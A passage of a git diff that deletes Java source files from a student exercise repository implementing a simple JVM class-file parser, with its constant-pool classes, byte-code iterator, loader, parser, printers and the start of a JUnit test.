@@ -1,32 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-    private int type = ConstantInfo.CLASS_INFO;
-    private int utf8Index;
-
-    public ClassInfo(ConstantPool pool) {
-	super(pool);
-    }
-
-    public int getUtf8Index() {
-	return utf8Index;
-    }
-
-    public void setUtf8Index(int utf8Index) {
-	this.utf8Index = utf8Index;
-    }
-
-    public int getType() {
-	return type;
-    }
-
-    public String getClassName() {
-	int index = getUtf8Index();
-	UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
-	return utf8Info.getValue();
-    }
-    @Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 6c502016a3..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-public abstract class ConstantInfo {
-    public static final int UTF8_INFO = 1;
-    public static final int FLOAT_INFO = 4;
-    public static final int CLASS_INFO = 7;
-    public static final int STRING_INFO = 8;
-    public static final int FIELD_INFO = 9;
-    public static final int METHOD_INFO = 10;
-    public static final int NAME_AND_TYPE_INFO = 12;
-    protected ConstantPool constantPool;
-
-    public ConstantInfo() {
-
-    }
-
-    public ConstantInfo(ConstantPool pool) {
-	this.constantPool = pool;
-    }
-
-    public abstract int getType();
-
-    public ConstantPool getConstantPool() {
-	return constantPool;
-    }
-
-    public ConstantInfo getConstantInfo(int index) {
-	return this.constantPool.getConstantInfo(index);
-    }
-    
-    public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
-   
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantPool.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantPool.java
deleted file mode 100644
index 92d1b381d1..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-
-    private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-
-    public ConstantPool() {
-
-    }
-
-    public void addConstantInfo(ConstantInfo info) {
-
-	this.constantInfos.add(info);
-
-    }
-
-    public ConstantInfo getConstantInfo(int index) {
-	return this.constantInfos.get(index);
-    }
-
-    public String getUTF8String(int index) {
-	return ((UTF8Info) this.constantInfos.get(index)).getValue();
-    }
-
-    public int getSize() {
-	return this.constantInfos.size() - 1;
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/FieldRefInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index d2d6a19f90..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,63 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo {
-    private int type = ConstantInfo.FIELD_INFO;
-    private int classInfoIndex;
-    private int nameAndTypeIndex;
-
-    public FieldRefInfo(ConstantPool pool) {
-	super(pool);
-    }
-
-    public int getType() {
-	return type;
-    }
-
-    public int getClassInfoIndex() {
-	return classInfoIndex;
-    }
-
-    public void setClassInfoIndex(int classInfoIndex) {
-	this.classInfoIndex = classInfoIndex;
-    }
-
-    public int getNameAndTypeIndex() {
-	return nameAndTypeIndex;
-    }
-
-    public void setNameAndTypeIndex(int nameAndTypeIndex) {
-	this.nameAndTypeIndex = nameAndTypeIndex;
-    }
-
-    public String toString() {
-
-	NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
-
-	return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
-    }
-
-    public String getClassName() {
-
-	ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-
-	UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
-
-	return utf8Info.getValue();
-
-    }
-
-    public String getFieldName() {
-	NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
-	return typeInfo.getName();
-    }
-
-    public String getFieldType() {
-	NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
-	return typeInfo.getTypeInfo();
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-	visitor.visitFieldRef(this);
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/MethodRefInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index a1055932a0..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-
-    private int type = ConstantInfo.METHOD_INFO;
-
-    private int classInfoIndex;
-    private int nameAndTypeIndex;
-
-    public MethodRefInfo(ConstantPool pool) {
-	super(pool);
-    }
-
-    public int getType() {
-	return type;
-    }
-
-    public int getClassInfoIndex() {
-	return classInfoIndex;
-    }
-
-    public void setClassInfoIndex(int classInfoIndex) {
-	this.classInfoIndex = classInfoIndex;
-    }
-
-    public int getNameAndTypeIndex() {
-	return nameAndTypeIndex;
-    }
-
-    public void setNameAndTypeIndex(int nameAndTypeIndex) {
-	this.nameAndTypeIndex = nameAndTypeIndex;
-    }
-
-    public String toString() {
-
-	return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
-    }
-
-    public String getClassName() {
-	ConstantPool pool = this.getConstantPool();
-	ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
-	return clzInfo.getClassName();
-    }
-
-    public String getMethodName() {
-	ConstantPool pool = this.getConstantPool();
-	NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
-	return typeInfo.getName();
-    }
-
-    public String getParamAndReturnType() {
-	ConstantPool pool = this.getConstantPool();
-	NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
-	return typeInfo.getTypeInfo();
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-	visitor.visitMethodRef(this);
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NameAndTypeInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 29495489f4..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo {
-    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
-
-    private int index1;
-    private int index2;
-
-    public NameAndTypeInfo(ConstantPool pool) {
-	super(pool);
-    }
-
-    public int getIndex1() {
-	return index1;
-    }
-
-    public void setIndex1(int index1) {
-	this.index1 = index1;
-    }
-
-    public int getIndex2() {
-	return index2;
-    }
-
-    public void setIndex2(int index2) {
-	this.index2 = index2;
-    }
-
-    public int getType() {
-	return type;
-    }
-
-    public String getName() {
-	ConstantPool pool = this.getConstantPool();
-	UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
-	return utf8Info1.getValue();
-    }
-
-    public String getTypeInfo() {
-	ConstantPool pool = this.getConstantPool();
-	UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
-	return utf8Info2.getValue();
-    }
-
-    public String toString() {
-	return "(" + getName() + "," + getTypeInfo() + ")";
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-	visitor.visitNameAndType(this);
-
-    }
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NullConstantInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index b0f5ad9b80..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-    public NullConstantInfo() {
-
-    }
-
-    @Override
-    public int getType() {
-	return -1;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/StringInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/StringInfo.java
deleted file mode 100644
index 442405aa36..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,33 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-public class StringInfo extends ConstantInfo {
-    private int type = ConstantInfo.STRING_INFO;
-    private int index;
-
-    public StringInfo(ConstantPool pool) {
-	super(pool);
-    }
-
-    public int getType() {
-	return type;
-    }
-
-    public int getIndex() {
-	return index;
-    }
-
-    public void setIndex(int index) {
-	this.index = index;
-    }
-
-    public String toString() {
-	return this.getConstantPool().getUTF8String(index);
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-	visitor.visitString(this);
-
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/UTF8Info.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/UTF8Info.java
deleted file mode 100644
index 5c740bf402..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.constant;
-
-public class UTF8Info extends ConstantInfo {
-    private int type = ConstantInfo.UTF8_INFO;
-    private int length;
-    private String value;
-
-    public UTF8Info(ConstantPool pool) {
-	super(pool);
-    }
-
-    public int getLength() {
-	return length;
-    }
-
-    public void setLength(int length) {
-	this.length = length;
-    }
-
-    public int getType() {
-	return type;
-    }
-
-    @Override
-    public String toString() {
-	return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
-    }
-
-    public void setValue(String value) {
-	this.value = value;
-    }
-
-    public String getValue() {
-	return value;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-	visitor.visistUTF8(this);
-
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/field/Field.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/field/Field.java
deleted file mode 100644
index 9d33d90d96..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/field/Field.java
+++ /dev/null
@@ -1,44 +0,0 @@
-
-package com.github.HarryHook.coding2017.jvm.field;
-
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
-import com.sun.istack.internal.Pool;
-import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
-
-public class Field {
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-    private ConstantPool pool;
-
-    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
-
-	this.accessFlag = accessFlag;
-	this.nameIndex = nameIndex;
-	this.descriptorIndex = descriptorIndex;
-	this.pool = pool;
-    }
-
-    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
-	int accessFlag = iter.nextU2ToInt();
-	int nameIndex = iter.nextU2ToInt();
-	int descriptorIndex = iter.nextU2ToInt();
-	int attributesCount = iter.nextU2ToInt();
-	System.out.println("field attributes Count: " + attributesCount);
-	Field f = new Field(accessFlag, nameIndex, descriptorIndex, pool);
-	if(attributesCount > 0) {
-	    throw new RuntimeException("Field has not complemented attribute");
-	}
-	return f;
-    }
-    
-    public String toString() {
-	String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
-	String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
-	return name +":" + desc;
-    }
-    
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ByteCodeIterator.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index b773b6b584..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.loader;
-
-import java.util.Arrays;
-
-import com.github.HarryHook.coding2017.jvm.util.Util;
-
-public class ByteCodeIterator {
-    byte[] codes;
-    int pos = 0;
-
-    public ByteCodeIterator(byte[] codes) {
-	this.codes = codes;
-    }
-
-    public byte[] getByte(int len) {
-	if (pos + len > codes.length) {
-	    throw new ArrayIndexOutOfBoundsException();
-	}
-	byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-	pos += len;
-	return data;
-    }
-
-    public String nextU4ToHexString() {
-
-	return Util.byteToHexString(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-    }
-
-    public int nextU1ToInt() {
-
-	return Util.byteToInt(new byte[] { codes[pos++] });
-    }
-
-    public int nextU2ToInt() {
-
-	return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-    }
-
-    public int nextU4ToInt() {
-
-	return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-    }
-
-    public String nextUxToHexString(int len) {
-	byte[] tmp = new byte[len];
-
-	for (int i = 0; i < len; i++) {
-	    tmp[i] = codes[pos++];
-	}
-	return Util.byteToHexString(tmp).toLowerCase();
-
-    }
-
-    public void back(int n) {
-	this.pos -= n;
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileLoader.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 2f2c9c4345..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,92 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-
-
-
-public class ClassFileLoader {
-
-    private List<String> clzPaths = new ArrayList<String>();
-
-    public byte[] readBinaryCode(String className) {
-	className = className.replace('.', File.separatorChar) + ".class";
-	for(String path : this.clzPaths) {
-	    String clzFileName = path + File.separatorChar + className;
-	    byte[] codes = loadClassFile(clzFileName);
-	    if(codes != null) {
-		return codes;
-	    }
-	}
-	return null;
-    }
-    private byte[] loadClassFile(String clzFileName) {
-	BufferedInputStream bis = null;
-	try {
-	    File f = new File(clzFileName);
-	    bis = new BufferedInputStream(new FileInputStream(f));
-	    ByteArrayOutputStream out = new ByteArrayOutputStream(1024);
-
-	    byte[] buffer = new byte[1024];
-	    int length = 0;
-	    while ((length = bis.read(buffer)) != -1) {
-		out.write(buffer, 0, length);
-	    }
-	    return out.toByteArray();
-	} catch (IOException e) {
-	    e.printStackTrace();
-	} finally {
-	    if (bis != null) {
-		try {
-		    bis.close();
-		} catch (IOException e) {
-		    e.printStackTrace();
-		}
-	    }
-	}
-	return null;
-    }
-    public void addClassPath(String path) {
-	if (this.clzPaths.contains(path)) {
-	    return ;
-	}
-	this.clzPaths.add(path);
-    }
-
-    public String getClassPath() {
-
-	StringBuilder buffer = new StringBuilder();
-
-	for (int i = 0; i < clzPaths.size(); i++) {
-
-	    buffer.append(clzPaths.get(i));
-	    if (i < clzPaths.size() - 1) {
-		buffer.append(";");
-	    }
-	}
-	return buffer.toString();
-    }
-
-    public ClassFile loadClass(String className) {
-	byte[] codes = this.readBinaryCode(className);
-	ClassFileParser parser = new ClassFileParser();
-	return parser.parse(codes);
-	
-    }
-    public static void main(String[] args) {
-	ClassFile clzFile = null;
-	ClassFileLoader loader = new ClassFileLoader();
-	String path1 = "F:\\Coding2017\\group02\\727171008\\bin";
-	loader.addClassPath(path1);
-	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
-	clzFile = loader.loadClass(className);
-	clzFile.print();
-    }
-   
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileParser.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 40608823e9..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,151 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-
-import com.github.HarryHook.coding2017.jvm.clz.AccessFlag;
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.clz.ClassIndex;
-import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
-import com.github.HarryHook.coding2017.jvm.constant.NullConstantInfo;
-import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
-import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
-import com.github.HarryHook.coding2017.jvm.field.Field;
-import com.github.HarryHook.coding2017.jvm.method.Method;
-
-public class ClassFileParser {
-
-    public ClassFile parse(byte[] codes) {
-
-	ClassFile clzFile = new ClassFile();
-	ByteCodeIterator iter = new ByteCodeIterator(codes);
-	String magicNumber = iter.nextU4ToHexString();
-	if (!"cafebabe".equals(magicNumber)) {
-	    return null;
-	}
-
-	clzFile.setMinorVersion(iter.nextU2ToInt());
-	clzFile.setMajorVersion(iter.nextU2ToInt());
-
-	ConstantPool pool = parseConstantPool(iter);
-	clzFile.setConstantPool(pool);
-
-	AccessFlag flag = parseAccessFlag(iter);
-	clzFile.setAccessFlag(flag);
-	
-	ClassIndex clzIndex = parseClassIndex(iter);
-	clzFile.setClzIndex(clzIndex);
-	
-	parseInterfaces(iter);
-	
-	parseField(clzFile, iter);
-	
-	parseMethod(clzFile, iter);
-	return clzFile;
-    }
-
-    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-	
-	AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
-	return flag;
-    }
-
-    private ClassIndex parseClassIndex(ByteCodeIterator iter) {
-	
-	int thisClassIndex = iter.nextU2ToInt();
-	int superClassIndex = iter.nextU2ToInt();
-	ClassIndex clzIndex = new ClassIndex();
-	clzIndex.setThisClassIndex(thisClassIndex);
-	clzIndex.setSuperClassIndex(superClassIndex);
-
-	return clzIndex;
-
-    }
-
-    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-	int constPoolCount = iter.nextU2ToInt();
-	System.out.println("const Pool Count : " + constPoolCount);
-	ConstantPool pool = new ConstantPool();
-	pool.addConstantInfo(new NullConstantInfo());
-	for (int i = 1; i <= constPoolCount - 1; i++) {
-	    int tag = iter.nextU1ToInt();
-	    if (tag == 7) {
-		// Class Info
-		int utf8Index = iter.nextU2ToInt();
-		ClassInfo clzInfo = new ClassInfo(pool);
-		clzInfo.setUtf8Index(utf8Index);
-		pool.addConstantInfo(clzInfo);
-	    } else if (tag == 1) {
-		// UTF8 String
-		int len = iter.nextU2ToInt();
-		byte[] data = iter.getByte(len);
-		String value = null;
-		try {
-		    value = new String(data, "UTF-8");
-		} catch (UnsupportedEncodingException e) {
-		    e.printStackTrace();
-
-		}
-		UTF8Info utf8Str = new UTF8Info(pool);
-		utf8Str.setLength(len);
-		utf8Str.setValue(value);
-		pool.addConstantInfo(utf8Str);
-	    } else if (tag == 8) {
-		StringInfo info = new StringInfo(pool);
-		info.setIndex(iter.nextU2ToInt());
-		pool.addConstantInfo(info);
-	    } else if (tag == 9) {
-		FieldRefInfo field = new FieldRefInfo(pool);
-		field.setClassInfoIndex(iter.nextU2ToInt());
-		field.setNameAndTypeIndex(iter.nextU2ToInt());
-		pool.addConstantInfo(field);
-	    } else if (tag == 10) {
-		MethodRefInfo method = new MethodRefInfo(pool);
-		method.setClassInfoIndex(iter.nextU2ToInt());
-		method.setNameAndTypeIndex(iter.nextU2ToInt());
-		pool.addConstantInfo(method);
-	    } else if (tag == 12) {
-		NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
-		nameType.setIndex1(iter.nextU2ToInt());
-		nameType.setIndex2(iter.nextU2ToInt());
-		pool.addConstantInfo(nameType);
-	    } else {
-		throw new RuntimeException("the constant pool tag" + tag + "has not complemented");
-	    }
-
-	}
-	System.out.println("Finished reading Constant Pool ");
-	
-	return pool;
-    }
-    private void parseInterfaces(ByteCodeIterator iter) {
-	int interfaceCount = iter.nextU2ToInt();
-
-	System.out.println("interfaceCount:" + interfaceCount);
-
-	// TODO : 如果实现了interface, 这里需要解析
-    }
-    
-    private void parseField(ClassFile clzFile, ByteCodeIterator iter){
-	int fieldCount = iter.nextU2ToInt();
-	for(int i=1; i<=fieldCount; i++) {
-	    Field f = Field.parse(clzFile.getConstantPool(), iter);
-	    clzFile.addField(f);
-	    
-	}
-    }
-    
-    private void parseMethod(ClassFile clzFile, ByteCodeIterator iter){
-	int methodCount = iter.nextU2ToInt();
-	for(int i=1; i<=methodCount; i++) {
-	    Method m = Method.parse(clzFile, iter);
-	    clzFile.addMethod(m);
-	}
-    }
-
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java
deleted file mode 100644
index 08b8ff029b..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java
+++ /dev/null
@@ -1,87 +0,0 @@
-
-package com.github.HarryHook.coding2017.jvm.method;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
-
-import javax.management.RuntimeErrorException;
-
-import com.github.HarryHook.coding2017.jvm.attr.AttributeInfo;
-import com.github.HarryHook.coding2017.jvm.attr.CodeAttr;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
-import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
-
-public class Method {
-
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-    private CodeAttr codeAttr;
-
-    private ClassFile clzFile;
-
-    public ClassFile getClzFile() {
-	return clzFile;
-    }
-
-    public int getNameIndex() {
-	return nameIndex;
-    }
-
-    public int getDescriptorIndex() {
-	return descriptorIndex;
-    }
-
-    public CodeAttr getCodeAttr() {
-	return codeAttr;
-    }
-
-    public void setCodeAttr(CodeAttr code) {
-	this.codeAttr = code;
-    }
-
-    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
-	this.clzFile = clzFile;
-	this.accessFlag = accessFlag;
-	this.nameIndex = nameIndex;
-	this.descriptorIndex = descriptorIndex;
-    }
-
-    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
-	int accessFlag = iter.nextU2ToInt();
-	int nameIndex = iter.nextU2ToInt();
-	int descriptorIndex = iter.nextU2ToInt();
-	int attributeCount = iter.nextU2ToInt();
-	
-	Method m = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
-	
-	for(int i=1; i<=attributeCount; i++) {
-	    int attrNameIndex = iter.nextU2ToInt();
-	    String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-	    iter.back(2);
-	    
-	    if(AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
-		CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-		m.setCodeAttr(codeAttr);
-	    } else {
-		throw new RuntimeException("only Attribute is complemented!");
-	    }
-	    
-	}
-	return m;
-
-    }
-    public String toString(ConstantPool pool) {
-	StringBuffer buffer = new StringBuffer();
-	String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
-	String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
-	buffer.append(name).append(":").append(desc).append("\n");
-	buffer.append(this.codeAttr.toString(pool));
-	return buffer.toString();
-    }
-    public ByteCodeCommand[] getCmds() {		
-	return this.getCodeAttr().getCmds();
-}
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ClassFilePrinter.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 6ede47692c..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.print;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
-import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
-import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
-import com.github.HarryHook.coding2017.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-    ClassFile clzFile = null;
-
-    public ClassFilePrinter(ClassFile clzFile) {
-	this.clzFile = clzFile;
-    }
-
-    public void print() {
-
-	if (clzFile.getAccessFlag().isPublicClass()) {
-	    System.out.println("Access flag : public  ");
-	}
-	System.out.println("Class Name:" + clzFile.getClassName());
-
-	System.out.println("Super Class Name:" + clzFile.getSuperClassName());
-
-	System.out.println("minor version:" + clzFile.getMinorVersion());
-
-	System.out.println("major version:" + clzFile.getMinorVersion());
-
-	ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-	cnstPoolPrinter.print();
-
-    }
-
-    public static void main(String[] args) {
-	String path = "F:\\Coding2017\\group02\\727171008\\bin";
-	ClassFileLoader loader = new ClassFileLoader();
-	loader.addClassPath(path);
-	String className = "com.github.HarryHook.coding2017.jvm.test.EmployeeV1";
-
-	ClassFile clzFile = loader.loadClass(className);
-
-	ClassFilePrinter printer = new ClassFilePrinter(clzFile);
-
-	printer.print();
-    }
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ConstantPoolPrinter.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 3d6c791185..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.print;
-
-import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.NameAndTypeInfo;
-import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
-import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		
-		
-		
-	}
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/ClassFileloaderTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index ee7e3b3092..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,342 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.clz.ClassIndex;
-import com.github.HarryHook.coding2017.jvm.cmd.BiPushCmd;
-import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
-import com.github.HarryHook.coding2017.jvm.cmd.OneOperandCmd;
-import com.github.HarryHook.coding2017.jvm.cmd.TwoOperandCmd;
-import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
